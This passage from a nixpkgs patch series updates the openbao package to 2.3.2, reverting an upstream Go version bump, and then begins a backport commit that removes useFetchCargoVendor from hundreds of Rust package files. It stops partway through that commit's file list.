(cherry picked from commit 65742b9d5638798fdc59060801e2d8446dbadce0)
---
 pkgs/by-name/op/openbao/package.nix | 19 +++++++++++++++----
 1 file changed, 15 insertions(+), 4 deletions(-)

diff --git a/pkgs/by-name/op/openbao/package.nix b/pkgs/by-name/op/openbao/package.nix
index 132f3ae08e2d..836848227e49 100644
--- a/pkgs/by-name/op/openbao/package.nix
+++ b/pkgs/by-name/op/openbao/package.nix
@@ -1,6 +1,7 @@
 {
   lib,
   fetchFromGitHub,
+  fetchpatch2,
   buildGoModule,
   installShellFiles,
   versionCheckHook,
@@ -14,26 +15,36 @@
 
 buildGoModule (finalAttrs: {
   pname = "openbao";
-  version = "2.3.1";
+  version = "2.3.2";
 
   src = fetchFromGitHub {
     owner = "openbao";
     repo = "openbao";
     tag = "v${finalAttrs.version}";
-    hash = "sha256-X0O3JwJS49yReTEIjRfk0GGzgGDUZjNadKMZXUuor/I=";
+    hash = "sha256-r3ZopogeRqsgaM/HEKlS6B0ipaDG/5mKUyzGET3P1e0=";
   };
 
-  vendorHash = "sha256-uOWLCyLCSGMTjRpPbOWlJJYKbZmkkOWnzr5o3zvRLU0=";
+  vendorHash = "sha256-D4uZmQKe4VuSpuW8JD5NOOq7Nvx8HRXzyvgzkBhsKLQ=";
 
   proxyVendor = true;
 
+  patches = [
+    (fetchpatch2 {
+      # Temporarily revert upstream raising the min go version to 1.24.6
+      # until that go version lands from staging in master.
+      name = "revert-Bump-to-Go-1.24.6.patch";
+      url = "https://github.com/openbao/openbao/commit/85504045ecf2d343b74be2c1cda6c2c0b0d6acff.patch?full_index=1";
+      revert = true;
+      hash = "sha256-tXSnnqrNxgnJ2ya4HjLSh4e+6hdyPgKRsFsmkMNfNRU=";
+    })
+  ];
+
   subPackages = [ "." ];
 
   tags = lib.optional withHsm "hsm" ++ lib.optional withUi "ui";
 
   ldflags = [
     "-s"
-    "-w"
     "-X github.com/openbao/openbao/version.GitCommit=${finalAttrs.src.rev}"
     "-X github.com/openbao/openbao/version.fullVersion=${finalAttrs.version}"
     "-X github.com/openbao/openbao/version.buildDate=1970-01-01T00:00:00Z"

From 93852307e090b51a44a5c377f4129e2b2a19311c Mon Sep 17 00:00:00 2001
From: TomaSajt <62384384+TomaSajt@users.noreply.github.com>
Date: Sat, 9 Aug 2025 02:17:03 +0200
Subject: [PATCH 3351/4511] treewide: remove useFetchCargoVendor usages

Manual backport of 398b16e16cc688d8ffcf820d1ec50a55da44a108
---
 pkgs/applications/audio/librespot/default.nix        |  1 -
 pkgs/applications/blockchains/teos/default.nix       |  2 --
 .../applications/display-managers/greetd/default.nix |  1 -
 .../applications/display-managers/greetd/regreet.nix |  1 -
 .../display-managers/greetd/tuigreet.nix             |  1 -
 .../applications/display-managers/greetd/wlgreet.nix |  1 -
 .../elisp-packages/manual-packages/lspce/module.nix  |  1 -
 .../elisp-packages/manual-packages/tsc/package.nix   |  1 -
 pkgs/applications/editors/jetbrains/source/build.nix |  2 +-
 .../editors/kakoune/plugins/overrides.nix            |  1 -
 pkgs/applications/editors/neovim/gnvim/default.nix   |  1 -
 .../non-generated/LanguageClient-neovim/default.nix  |  1 -
 .../plugins/non-generated/avante-nvim/default.nix    |  1 -
 .../vim/plugins/non-generated/blink-cmp/default.nix  |  1 -
 .../plugins/non-generated/blink-pairs/default.nix    |  1 -
 .../plugins/non-generated/codesnap-nvim/default.nix  |  1 -
 .../vim/plugins/non-generated/cord-nvim/default.nix  |  1 -
 .../plugins/non-generated/nvim-spectre/default.nix   |  1 -
 .../vim/plugins/non-generated/sg-nvim/default.nix    |  1 -
 .../vim/plugins/non-generated/sniprun/default.nix    |  1 -
 .../vim/plugins/non-generated/vim-clap/default.nix   |  1 -
 .../non-generated/vim-markdown-composer/default.nix  |  2 +-
 .../extensions/vadimcn.vscode-lldb/adapter.nix       |  1 -
 pkgs/applications/misc/pagefind/default.nix          |  1 -
 .../cluster/kubectl-view-allocations/default.nix     |  1 -
 pkgs/applications/networking/mullvad/mullvad.nix     |  1 -
 pkgs/applications/office/activitywatch/default.nix   |  1 -
 .../system/coolercontrol/coolercontrold.nix          |  1 -
 .../obs-studio/plugins/obs-livesplit-one/default.nix |  1 -
 .../rust-hypervisor-firmware/default.nix             |  1 -
 pkgs/applications/window-managers/dwm/dwm-status.nix |  1 -
 pkgs/applications/window-managers/i3/auto-layout.nix |  1 -
 pkgs/applications/window-managers/i3/cycle-focus.nix |  1 -
 .../window-managers/i3/i3-ratiosplit.nix             |  1 -
 pkgs/applications/window-managers/i3/status-rust.nix |  1 -
 pkgs/applications/window-managers/i3/wmfocus.nix     |  1 -
 pkgs/applications/window-managers/i3/workstyle.nix   |  1 -
 pkgs/applications/window-managers/i3/wsr.nix         |  1 -
 pkgs/by-name/aa/aaa/package.nix                      |  2 +-
 pkgs/by-name/aa/aarch64-esr-decoder/package.nix      |  1 -
 pkgs/by-name/aa/aardvark-dns/package.nix             |  1 -
 pkgs/by-name/ab/ab-av1/package.nix                   |  1 -
 pkgs/by-name/ab/aba/package.nix                      |  1 -
 pkgs/by-name/ac/action-validator/package.nix         |  1 -
 pkgs/by-name/ad/ad/package.nix                       |  1 -
 pkgs/by-name/ad/adguardian/package.nix               |  1 -
 pkgs/by-name/ad/adrs/package.nix                     |  1 -
 pkgs/by-name/ae/aerogramme/package.nix               |  1 -
 pkgs/by-name/af/afterburn/package.nix                |  1 -
 pkgs/by-name/ag/agate/package.nix                    |  1 -
 pkgs/by-name/ag/age-plugin-ledger/package.nix        |  1 -
 pkgs/by-name/ag/age-plugin-yubikey/package.nix       |  1 -
 pkgs/by-name/ag/agenix-cli/package.nix               |  1 -
 pkgs/by-name/ai/aichat/package.nix                   |  1 -
 pkgs/by-name/ai/aiken/package.nix                    |  1 -
 pkgs/by-name/ai/air-formatter/package.nix            |  1 -
 pkgs/by-name/ai/airgorah/package.nix                 |  1 -
 pkgs/by-name/ai/airshipper/package.nix               |  1 -
 pkgs/by-name/al/alacritty/package.nix                |  1 -
 pkgs/by-name/al/alcom/package.nix                    |  1 -
 pkgs/by-name/al/alejandra/package.nix                |  1 -
 pkgs/by-name/al/alexandria/package.nix               |  1 -
 pkgs/by-name/al/alfis/package.nix                    |  1 -
 pkgs/by-name/al/alioth/package.nix                   |  1 -
 pkgs/by-name/al/alistral/package.nix                 |  1 -
 pkgs/by-name/al/alvr/package.nix                     |  1 -
 pkgs/by-name/am/amazon-q-cli/package.nix             |  2 --
 pkgs/by-name/am/amber-lang/package.nix               |  1 -
 pkgs/by-name/am/amber-secret/package.nix             |  1 -
 pkgs/by-name/am/amber/package.nix                    |  1 -
 pkgs/by-name/am/amdgpu_top/package.nix               |  1 -
 pkgs/by-name/am/amp/package.nix                      |  1 -
 pkgs/by-name/an/anchor/package.nix                   |  1 -
 pkgs/by-name/an/anewer/package.nix                   |  1 -
 pkgs/by-name/an/angle-grinder/package.nix            |  1 -
 pkgs/by-name/an/angryoxide/package.nix               |  1 -
 pkgs/by-name/an/ansi/package.nix                     |  1 -
 pkgs/by-name/an/ante/package.nix                     |  1 -
 pkgs/by-name/an/anup/package.nix                     |  1 -
 pkgs/by-name/an/anyrun/package.nix                   |  1 -
 pkgs/by-name/ao/aoc-cli/package.nix                  |  1 -
 pkgs/by-name/ao/aonsoku/package.nix                  |  2 +-
 pkgs/by-name/ap/apftool-rs/package.nix               |  1 -
 pkgs/by-name/ap/aphorme/package.nix                  |  1 -
 pkgs/by-name/ap/apkeep/package.nix                   |  1 -
 pkgs/by-name/ap/apt-swarm/package.nix                |  1 -
 pkgs/by-name/ar/ares-rs/package.nix                  |  2 --
 pkgs/by-name/ar/argc/package.nix                     |  1 -
 pkgs/by-name/ar/argon/package.nix                    |  1 -
 pkgs/by-name/ar/arp-scan-rs/package.nix              |  2 --
 pkgs/by-name/ar/artem/package.nix                    |  1 -
 pkgs/by-name/ar/arti/package.nix                     |  1 -
 pkgs/by-name/as/as-tree/package.nix                  |  1 -
 pkgs/by-name/as/asahi-bless/package.nix              |  1 -
 pkgs/by-name/as/asahi-btsync/package.nix             |  1 -
 pkgs/by-name/as/asahi-nvram/package.nix              |  1 -
 pkgs/by-name/as/asahi-wifisync/package.nix           |  1 -
 pkgs/by-name/as/asak/package.nix                     |  1 -
 pkgs/by-name/as/asciinema-agg/package.nix            |  1 -
 pkgs/by-name/as/asciinema-scenario/package.nix       |  1 -
 pkgs/by-name/as/asciinema_3/package.nix              |  1 -
 pkgs/by-name/as/asdbctl/package.nix                  |  1 -
 pkgs/by-name/as/asfa/package.nix                     |  1 -
 pkgs/by-name/as/ashell/package.nix                   |  1 -
 pkgs/by-name/as/askalono/package.nix                 |  1 -
 pkgs/by-name/as/asm-lsp/package.nix                  |  1 -
 pkgs/by-name/as/ast-grep/package.nix                 |  1 -
 pkgs/by-name/as/asuka/package.nix                    |  1 -
 pkgs/by-name/as/asusctl/package.nix                  |  1 -
 pkgs/by-name/at/atac/package.nix                     |  1 -
 pkgs/by-name/at/attic-client/package.nix             |  1 -
 pkgs/by-name/at/atuin/package.nix                    |  1 -
 pkgs/by-name/au/audion/package.nix                   |  1 -
 pkgs/by-name/au/august/package.nix                   |  1 -
 pkgs/by-name/au/authoscope/package.nix               |  1 -
 pkgs/by-name/au/automatic-timezoned/package.nix      |  1 -
 pkgs/by-name/au/autotiling-rs/package.nix            |  1 -
 pkgs/by-name/av/av1an-unwrapped/package.nix          |  1 -
 pkgs/by-name/av/avbroot/package.nix                  |  1 -
 pkgs/by-name/av/avml/package.nix                     |  1 -
 .../by-name/aw/aw-watcher-window-wayland/package.nix |  1 -
 pkgs/by-name/aw/awatcher/package.nix                 |  1 -
 pkgs/by-name/aw/awsbck/package.nix                   |  1 -
 pkgs/by-name/b3/b3sum/package.nix                    |  1 -
 pkgs/by-name/ba/backdown/package.nix                 |  1 -
 pkgs/by-name/ba/bacon/package.nix                    |  1 -
 pkgs/by-name/ba/bandwhich/package.nix                |  1 -
 pkgs/by-name/ba/bankstown-lv2/package.nix            |  1 -
 pkgs/by-name/ba/bao/package.nix                      |  1 -
 pkgs/by-name/ba/bark/package.nix                     |  1 -
 pkgs/by-name/ba/bartib/package.nix                   |  1 -
 pkgs/by-name/ba/basilk/package.nix                   |  1 -
 pkgs/by-name/ba/bat/package.nix                      |  1 -
 pkgs/by-name/ba/batmon/package.nix                   |  1 -
 pkgs/by-name/ba/bato/package.nix                     |  1 -
 pkgs/by-name/bd/bdt/package.nix                      |  1 -
 .../by-name/be/beancount-language-server/package.nix |  1 -
 pkgs/by-name/be/below/package.nix                    |  1 -
 pkgs/by-name/be/bend/package.nix                     |  1 -
 pkgs/by-name/be/bender/package.nix                   |  1 -
 pkgs/by-name/bf/bfc/package.nix                      |  1 -
 pkgs/by-name/bi/bibiman/package.nix                  |  1 -
 .../by-name/bi/bign-handheld-thumbnailer/package.nix |  1 -
 pkgs/by-name/bi/biliup-rs/package.nix                |  1 -
 pkgs/by-name/bi/bindle/package.nix                   |  1 -
 pkgs/by-name/bi/bingrep/package.nix                  |  1 -
 pkgs/by-name/bi/binocle/package.nix                  |  1 -
 pkgs/by-name/bi/binsider/package.nix                 |  1 -
 pkgs/by-name/bi/binwalk/package.nix                  |  1 -
 pkgs/by-name/bi/biodiff/package.nix                  |  1 -
 pkgs/by-name/bi/biome/package.nix                    |  1 -
 pkgs/by-name/bi/biscuit-cli/package.nix              |  1 -
 pkgs/by-name/bi/bitbox-bridge/package.nix            |  1 -
 pkgs/by-name/bi/bite/package.nix                     |  1 -
 pkgs/by-name/bk/bk/package.nix                       |  1 -
 pkgs/by-name/bk/bkt/package.nix                      |  1 -
 pkgs/by-name/bl/blflash/package.nix                  |  1 -
 pkgs/by-name/bl/blockstream-electrs/package.nix      |  1 -
 pkgs/by-name/bl/bluetui/package.nix                  |  1 -
 pkgs/by-name/bm/bmputil/package.nix                  |  1 -
 pkgs/by-name/bo/boa/package.nix                      |  1 -
 pkgs/by-name/bo/boilr/package.nix                    |  1 -
 pkgs/by-name/bo/bonk/package.nix                     |  1 -
 pkgs/by-name/bo/book-summary/package.nix             |  1 -
 pkgs/by-name/bo/bootc/package.nix                    |  2 +-
 pkgs/by-name/bo/bootspec-lix/package.nix             |  1 -
 pkgs/by-name/bo/bootspec/package.nix                 |  1 -
 pkgs/by-name/bo/bore/package.nix                     |  1 -
 pkgs/by-name/bo/boringtun/package.nix                |  1 -
 pkgs/by-name/bo/bottom-rs/package.nix                |  1 -
 pkgs/by-name/bo/bottom/package.nix                   |  1 -
 pkgs/by-name/bo/bounty/package.nix                   |  1 -
 pkgs/by-name/bo/boxbuddy/package.nix                 |  1 -
 pkgs/by-name/bo/boxxy/package.nix                    |  1 -
 pkgs/by-name/bp/bpf-linker/package.nix               |  1 -
 pkgs/by-name/bp/bpftop/package.nix                   |  1 -
 pkgs/by-name/br/broot/package.nix                    |  1 -
 pkgs/by-name/br/browsers/package.nix                 |  1 -
 pkgs/by-name/br/brush/package.nix                    |  1 -
 pkgs/by-name/bu/buckle/package.nix                   |  2 +-
 pkgs/by-name/bu/buffrs/package.nix                   |  1 -
 pkgs/by-name/bu/bugstalker/package.nix               |  1 -
 pkgs/by-name/bu/bukubrow/package.nix                 |  1 -
 pkgs/by-name/bu/bulloak/package.nix                  |  1 -
 pkgs/by-name/bu/bunbun/package.nix                   |  1 -
 pkgs/by-name/bu/bunyan-rs/package.nix                |  1 -
 pkgs/by-name/bu/bupstash/package.nix                 |  1 -
 pkgs/by-name/bw/bws/package.nix                      |  1 -
 pkgs/by-name/c2/c2patool/package.nix                 |  1 -
 pkgs/by-name/ca/cached-nix-shell/package.nix         |  1 -
 pkgs/by-name/ca/cairo-lang/package.nix               |  1 -
 pkgs/by-name/ca/caligula/package.nix                 |  1 -
 pkgs/by-name/ca/capnproto-rust/package.nix           |  1 -
 pkgs/by-name/ca/cargo-3ds/package.nix                |  1 -
 pkgs/by-name/ca/cargo-about/package.nix              |  1 -
 pkgs/by-name/ca/cargo-all-features/package.nix       |  1 -
 pkgs/by-name/ca/cargo-aoc/package.nix                |  1 -
 pkgs/by-name/ca/cargo-apk/package.nix                |  1 -
 pkgs/by-name/ca/cargo-audit/package.nix              |  1 -
 pkgs/by-name/ca/cargo-autoinherit/package.nix        |  1 -
 pkgs/by-name/ca/cargo-bazel/package.nix              |  1 -
 pkgs/by-name/ca/cargo-benchcmp/package.nix           |  1 -
 pkgs/by-name/ca/cargo-binstall/package.nix           |  1 -
 pkgs/by-name/ca/cargo-binutils/package.nix           |  1 -
 pkgs/by-name/ca/cargo-bisect-rustc/package.nix       |  1 -
 pkgs/by-name/ca/cargo-bitbake/package.nix            |  1 -
 pkgs/by-name/ca/cargo-bloat/package.nix              |  1 -
 pkgs/by-name/ca/cargo-bolero/package.nix             |  1 -
 pkgs/by-name/ca/cargo-bootimage/package.nix          |  1 -
 pkgs/by-name/ca/cargo-bump/package.nix               |  1 -
 pkgs/by-name/ca/cargo-bundle-licenses/package.nix    |  1 -
 pkgs/by-name/ca/cargo-bundle/package.nix             |  1 -
 pkgs/by-name/ca/cargo-c/package.nix                  |  1 -
 pkgs/by-name/ca/cargo-cache/package.nix              |  1 -
 pkgs/by-name/ca/cargo-careful/package.nix            |  1 -
 pkgs/by-name/ca/cargo-chef/package.nix               |  1 -
 pkgs/by-name/ca/cargo-clean-recursive/package.nix    |  1 -
 pkgs/by-name/ca/cargo-clone/package.nix              |  1 -
 pkgs/by-name/ca/cargo-codspeed/package.nix           |  1 -
 pkgs/by-name/ca/cargo-component/package.nix          |  1 -
 pkgs/by-name/ca/cargo-cranky/package.nix             |  1 -
 pkgs/by-name/ca/cargo-crev/package.nix               |  1 -
 pkgs/by-name/ca/cargo-criterion/package.nix          |  1 -
 pkgs/by-name/ca/cargo-cross/package.nix              |  1 -
 pkgs/by-name/ca/cargo-cyclonedx/package.nix          |  1 -
 pkgs/by-name/ca/cargo-deadlinks/package.nix          |  1 -
 pkgs/by-name/ca/cargo-deb/package.nix                |  1 -
 pkgs/by-name/ca/cargo-deny/package.nix               |  1 -
 pkgs/by-name/ca/cargo-depgraph/package.nix           |  1 -
 pkgs/by-name/ca/cargo-diet/package.nix               |  1 -
 pkgs/by-name/ca/cargo-dist/package.nix               |  1 -
 pkgs/by-name/ca/cargo-docset/package.nix             |  1 -
 pkgs/by-name/ca/cargo-duplicates/package.nix         |  1 -
 pkgs/by-name/ca/cargo-edit/package.nix               |  1 -
 pkgs/by-name/ca/cargo-embassy/package.nix            |  1 -
 pkgs/by-name/ca/cargo-espmonitor/package.nix         |  1 -
 pkgs/by-name/ca/cargo-expand/package.nix             |  1 -
 pkgs/by-name/ca/cargo-feature/package.nix            |  1 -
 pkgs/by-name/ca/cargo-features-manager/package.nix   |  1 -
 pkgs/by-name/ca/cargo-flamegraph/package.nix         |  1 -
 pkgs/by-name/ca/cargo-fund/package.nix               |  1 -
 pkgs/by-name/ca/cargo-fuzz/package.nix               |  1 -
 pkgs/by-name/ca/cargo-geiger/package.nix             |  1 -
 pkgs/by-name/ca/cargo-generate/package.nix           |  2 --
 pkgs/by-name/ca/cargo-gra/package.nix                |  1 -
 pkgs/by-name/ca/cargo-guppy/package.nix              |  1 -
 pkgs/by-name/ca/cargo-hack/package.nix               |  1 -
 pkgs/by-name/ca/cargo-hakari/package.nix             |  1 -
 pkgs/by-name/ca/cargo-hf2/package.nix                |  1 -
 pkgs/by-name/ca/cargo-i18n/package.nix               |  1 -
 pkgs/by-name/ca/cargo-info/package.nix               |  1 -
 pkgs/by-name/ca/cargo-insta/package.nix              |  1 -
 pkgs/by-name/ca/cargo-lambda/package.nix             |  1 -
 pkgs/by-name/ca/cargo-leptos/package.nix             |  1 -
 pkgs/by-name/ca/cargo-license/package.nix            |  1 -
 pkgs/by-name/ca/cargo-limit/package.nix              |  1 -
 pkgs/by-name/ca/cargo-llvm-cov/package.nix           |  1 -
 pkgs/by-name/ca/cargo-llvm-lines/package.nix         |  1 -
 pkgs/by-name/ca/cargo-local-registry/package.nix     |  1 -
 pkgs/by-name/ca/cargo-lock/package.nix               |  1 -
 pkgs/by-name/ca/cargo-machete/package.nix            |  1 -
 pkgs/by-name/ca/cargo-make/package.nix               |  1 -
 pkgs/by-name/ca/cargo-mobile2/package.nix            |  1 -
 pkgs/by-name/ca/cargo-modules/package.nix            |  1 -
 pkgs/by-name/ca/cargo-mommy/package.nix              |  1 -
 pkgs/by-name/ca/cargo-msrv/package.nix               |  1 -
 pkgs/by-name/ca/cargo-mutants/package.nix            |  1 -
 pkgs/by-name/ca/cargo-ndk/package.nix                |  1 -
 pkgs/by-name/ca/cargo-nextest/package.nix            |  1 -
 pkgs/by-name/ca/cargo-outdated/package.nix           |  1 -
 pkgs/by-name/ca/cargo-pgo/package.nix                |  1 -
 pkgs/by-name/ca/cargo-pio/package.nix                |  1 -
 pkgs/by-name/ca/cargo-play/package.nix               |  1 -
 pkgs/by-name/ca/cargo-profiler/package.nix           |  1 -
 pkgs/by-name/ca/cargo-public-api/package.nix         |  1 -
 pkgs/by-name/ca/cargo-raze/package.nix               |  1 -
 pkgs/by-name/ca/cargo-rdme/package.nix               |  1 -
 pkgs/by-name/ca/cargo-readme/package.nix             |  1 -
 pkgs/by-name/ca/cargo-release/package.nix            |  1 -
 pkgs/by-name/ca/cargo-risczero/package.nix           |  1 -
 pkgs/by-name/ca/cargo-rr/package.nix                 |  1 -
 pkgs/by-name/ca/cargo-run-bin/package.nix            |  1 -
 pkgs/by-name/ca/cargo-semver-checks/package.nix      |  1 -
 pkgs/by-name/ca/cargo-shear/package.nix              |  1 -
 pkgs/by-name/ca/cargo-show-asm/package.nix           |  1 -
 pkgs/by-name/ca/cargo-shuttle/package.nix            |  1 -
 pkgs/by-name/ca/cargo-sonar/package.nix              |  1 -
 pkgs/by-name/ca/cargo-sort/package.nix               |  1 -
 pkgs/by-name/ca/cargo-spellcheck/package.nix         |  1 -
 pkgs/by-name/ca/cargo-supply-chain/package.nix       |  1 -
 pkgs/by-name/ca/cargo-sweep/package.nix              |  1 -
 pkgs/by-name/ca/cargo-swift/package.nix              |  1 -
 pkgs/by-name/ca/cargo-sync-readme/package.nix        |  1 -
 pkgs/by-name/ca/cargo-tally/package.nix              |  1 -
 pkgs/by-name/ca/cargo-tarpaulin/package.nix          |  1 -
 pkgs/by-name/ca/cargo-tauri/package.nix              |  1 -
 pkgs/by-name/ca/cargo-temp/package.nix               |  1 -
 pkgs/by-name/ca/cargo-toml-lint/package.nix          |  1 -
 pkgs/by-name/ca/cargo-typify/package.nix             |  1 -
 pkgs/by-name/ca/cargo-udeps/package.nix              |  1 -
 pkgs/by-name/ca/cargo-ui/package.nix                 |  1 -
 pkgs/by-name/ca/cargo-unfmt/package.nix              |  1 -
 pkgs/by-name/ca/cargo-unused-features/package.nix    |  1 -
 pkgs/by-name/ca/cargo-update/package.nix             |  1 -
 pkgs/by-name/ca/cargo-v5/package.nix                 |  1 -
 pkgs/by-name/ca/cargo-valgrind/package.nix           |  1 -
 pkgs/by-name/ca/cargo-vet/package.nix                |  1 -
 pkgs/by-name/ca/cargo-vibe/package.nix               |  2 +-
 pkgs/by-name/ca/cargo-wasi/package.nix               |  1 -
 pkgs/by-name/ca/cargo-watch/package.nix              |  1 -
 pkgs/by-name/ca/cargo-whatfeatures/package.nix       |  1 -
 pkgs/by-name/ca/cargo-wipe/package.nix               |  1 -
 pkgs/by-name/ca/cargo-wizard/package.nix             |  1 -
 pkgs/by-name/ca/cargo-workspaces/package.nix         |  1 -
 pkgs/by-name/ca/cargo-xbuild/package.nix             |  1 -
 pkgs/by-name/ca/cargo-xwin/package.nix               |  1 -
 pkgs/by-name/ca/cargo-zigbuild/package.nix           |  1 -
 pkgs/by-name/ca/cargo2junit/package.nix              |  1 -
 pkgs/by-name/ca/cargonode/package.nix                |  1 -
 pkgs/by-name/ca/carl/package.nix                     |  1 -
 pkgs/by-name/ca/castor/package.nix                   |  1 -
 pkgs/by-name/ca/catfs/package.nix                    |  1 -
 pkgs/by-name/ca/catppuccin-catwalk/package.nix       |  1 -
 pkgs/by-name/ca/catppuccin-whiskers/package.nix      |  1 -
 pkgs/by-name/ca/catppuccinifier-cli/package.nix      |  1 -
 pkgs/by-name/ca/cauwugo/package.nix                  |  1 -
 pkgs/by-name/cb/cbfmt/package.nix                    |  1 -
 pkgs/by-name/cd/cdwe/package.nix                     |  1 -
 pkgs/by-name/ce/cedar/package.nix                    |  1 -
 pkgs/by-name/ce/celeste/package.nix                  |  1 -
 pkgs/by-name/ce/centerpiece/package.nix              |  1 -
 pkgs/by-name/cf/cfdyndns/package.nix                 |  1 -
 pkgs/by-name/cf/cfonts/package.nix                   |  1 -
 pkgs/by-name/cf/cfspeedtest/package.nix              |  1 -
 pkgs/by-name/ch/chainsaw/package.nix                 |  1 -
 pkgs/by-name/ch/changelogging/package.nix            |  2 --
 pkgs/by-name/ch/charasay/package.nix                 |  1 -
 pkgs/by-name/ch/chars/package.nix                    |  1 -
 pkgs/by-name/ch/checkpwn/package.nix                 |  1 -
 pkgs/by-name/ch/cherrybomb/package.nix               |  1 -
 pkgs/by-name/ch/chess-tui/package.nix                |  1 -
 pkgs/by-name/ch/chiptrack/package.nix                |  2 +-
 pkgs/by-name/ch/chirpstack-concentratord/package.nix |  1 -
 .../by-name/ch/chirpstack-mqtt-forwarder/package.nix |  1 -
 pkgs/by-name/ch/chirpstack-udp-forwarder/package.nix |  1 -
 pkgs/by-name/ch/choose/package.nix                   |  1 -
 pkgs/by-name/ci/cicero-tui/package.nix               |  1 -
 pkgs/by-name/ci/ciel/package.nix                     |  1 -
 pkgs/by-name/ci/cinny-desktop/package.nix            |  1 -
 pkgs/by-name/ci/circom/package.nix                   |  1 -
 pkgs/by-name/ci/citron/package.nix                   |  1 -
 pkgs/by-name/cl/cl-wordle/package.nix                |  1 -
 pkgs/by-name/cl/clang-tidy-sarif/package.nix         |  1 -
 pkgs/by-name/cl/clapboard/package.nix                |  1 -
 pkgs/by-name/cl/clash-rs/package.nix                 |  1 -
 pkgs/by-name/cl/clash-verge-rev/service.nix          |  1 -
 pkgs/by-name/cl/clash-verge-rev/unwrapped.nix        |  1 -
 pkgs/by-name/cl/clashtui/package.nix                 |  2 --
 pkgs/by-name/cl/click/package.nix                    |  1 -
 pkgs/by-name/cl/cliflux/package.nix                  |  2 --
 pkgs/by-name/cl/clima/package.nix                    |  1 -
 pkgs/by-name/cl/clini/package.nix                    |  1 -
 pkgs/by-name/cl/clipcat/package.nix                  |  1 -
 pkgs/by-name/cl/clippy-sarif/package.nix             |  1 -
 pkgs/by-name/cl/cloak/package.nix                    |  1 -
 pkgs/by-name/cl/clock-rs/package.nix                 |  1 -
 pkgs/by-name/cl/clog-cli/package.nix                 |  1 -
 pkgs/by-name/cl/cloneit/package.nix                  |  1 -
 pkgs/by-name/cl/clorinde/package.nix                 |  1 -
 pkgs/by-name/cl/cloud-hypervisor/package.nix         |  1 -
 pkgs/by-name/cm/cmd-wrapped/package.nix              |  1 -
 pkgs/by-name/cn/cnsprcy/package.nix                  |  2 --
 pkgs/by-name/cn/cntr/package.nix                     |  1 -
 pkgs/by-name/co/cobalt/package.nix                   |  1 -
 pkgs/by-name/co/cocogitto/package.nix                |  1 -
 pkgs/by-name/co/cocom/package.nix                    |  1 -
 pkgs/by-name/co/code-minimap/package.nix             |  1 -
 pkgs/by-name/co/codeberg-cli/package.nix             |  1 -
 pkgs/by-name/co/codemov/package.nix                  |  1 -
 pkgs/by-name/co/codesnap/package.nix                 |  1 -
 pkgs/by-name/co/codevis/package.nix                  |  1 -
 pkgs/by-name/co/coinlive/package.nix                 |  1 -
 pkgs/by-name/co/coldsnap/package.nix                 |  2 +-
 pkgs/by-name/co/colmena/package.nix                  |  1 -
 pkgs/by-name/co/colo/package.nix                     |  1 -
 pkgs/by-name/co/colorpanes/package.nix               |  1 -
 pkgs/by-name/co/coloursum/package.nix                |  1 -
 pkgs/by-name/co/comet-gog/package.nix                |  1 -
 pkgs/by-name/co/comma/package.nix                    |  1 -
 pkgs/by-name/co/commit-formatter/package.nix         |  1 -
 pkgs/by-name/co/commitlint-rs/package.nix            |  1 -
 pkgs/by-name/co/commitmsgfmt/package.nix             |  2 +-
 pkgs/by-name/co/committed/package.nix                |  1 -
 pkgs/by-name/co/comodoro/package.nix                 |  1 -
 pkgs/by-name/co/complgen/package.nix                 |  1 -
 pkgs/by-name/co/comrak/package.nix                   |  1 -
 pkgs/by-name/co/conceal/package.nix                  |  1 -
 pkgs/by-name/co/conduwuit/package.nix                |  1 -
 pkgs/by-name/co/config-store/package.nix             |  1 -
 pkgs/by-name/co/conserve/package.nix                 |  1 -
 pkgs/by-name/co/convco/package.nix                   |  1 -
 pkgs/by-name/co/cook-cli/package.nix                 |  1 -
 pkgs/by-name/co/coppwr/package.nix                   |  1 -
 pkgs/by-name/co/copycat/package.nix                  |  1 -
 pkgs/by-name/co/cosmic-applets/package.nix           |  1 -
 pkgs/by-name/co/cosmic-applibrary/package.nix        |  1 -
 pkgs/by-name/co/cosmic-bg/package.nix                |  1 -
 pkgs/by-name/co/cosmic-comp/package.nix              |  1 -
 pkgs/by-name/co/cosmic-design-demo/package.nix       |  1 -
 pkgs/by-name/co/cosmic-edit/package.nix              |  1 -
 pkgs/by-name/co/cosmic-ext-calculator/package.nix    |  1 -
 pkgs/by-name/co/cosmic-ext-ctl/package.nix           |  1 -
 pkgs/by-name/co/cosmic-ext-tweaks/package.nix        |  1 -
 pkgs/by-name/co/cosmic-files/package.nix             |  1 -
 pkgs/by-name/co/cosmic-greeter/package.nix           |  1 -
 pkgs/by-name/co/cosmic-idle/package.nix              |  1 -
 pkgs/by-name/co/cosmic-launcher/package.nix          |  1 -
 pkgs/by-name/co/cosmic-notifications/package.nix     |  1 -
 pkgs/by-name/co/cosmic-osd/package.nix               |  1 -
 pkgs/by-name/co/cosmic-panel/package.nix             |  1 -
 pkgs/by-name/co/cosmic-player/package.nix            |  1 -
 pkgs/by-name/co/cosmic-randr/package.nix             |  1 -
 pkgs/by-name/co/cosmic-screenshot/package.nix        |  1 -
 pkgs/by-name/co/cosmic-session/package.nix           |  1 -
 pkgs/by-name/co/cosmic-settings-daemon/package.nix   |  1 -
 pkgs/by-name/co/cosmic-settings/package.nix          |  1 -
 pkgs/by-name/co/cosmic-store/package.nix             |  1 -
 pkgs/by-name/co/cosmic-term/package.nix              |  1 -
 pkgs/by-name/co/cosmic-workspaces-epoch/package.nix  |  1 -
 pkgs/by-name/co/cotp/package.nix                     |  1 -
 pkgs/by-name/co/cotton/package.nix                   |  1 -
 pkgs/by-name/co/couchbase-shell/package.nix          |  1 -
 pkgs/by-name/co/countryfetch/package.nix             |  1 -
 pkgs/by-name/cr/crab-hole/package.nix                |  1 -
 pkgs/by-name/cr/crabz/package.nix                    |  1 -
 pkgs/by-name/cr/crate2nix/package.nix                |  1 -
 pkgs/by-name/cr/crates-tui/package.nix               |  1 -
 pkgs/by-name/cr/cringify/package.nix                 |  1 -
 pkgs/by-name/cr/critcmp/package.nix                  |  1 -
 pkgs/by-name/cr/crosvm/package.nix                   |  1 -
 pkgs/by-name/cr/crusader/package.nix                 |  1 -
 pkgs/by-name/cs/csv-tui/package.nix                  |  1 -
 pkgs/by-name/cs/csv2parquet/package.nix              |  1 -
 pkgs/by-name/cs/csv2svg/package.nix                  |  1 -
 pkgs/by-name/cs/csview/package.nix                   |  1 -
 pkgs/by-name/cs/csvlens/package.nix                  |  1 -
 pkgs/by-name/cw/cwe-client-cli/package.nix           |  2 +-
 pkgs/by-name/cy/cyme/package.nix                     |  1 -
 pkgs/by-name/cz/czkawka/package.nix                  |  1 -
 pkgs/by-name/da/dabet/package.nix                    |  1 -
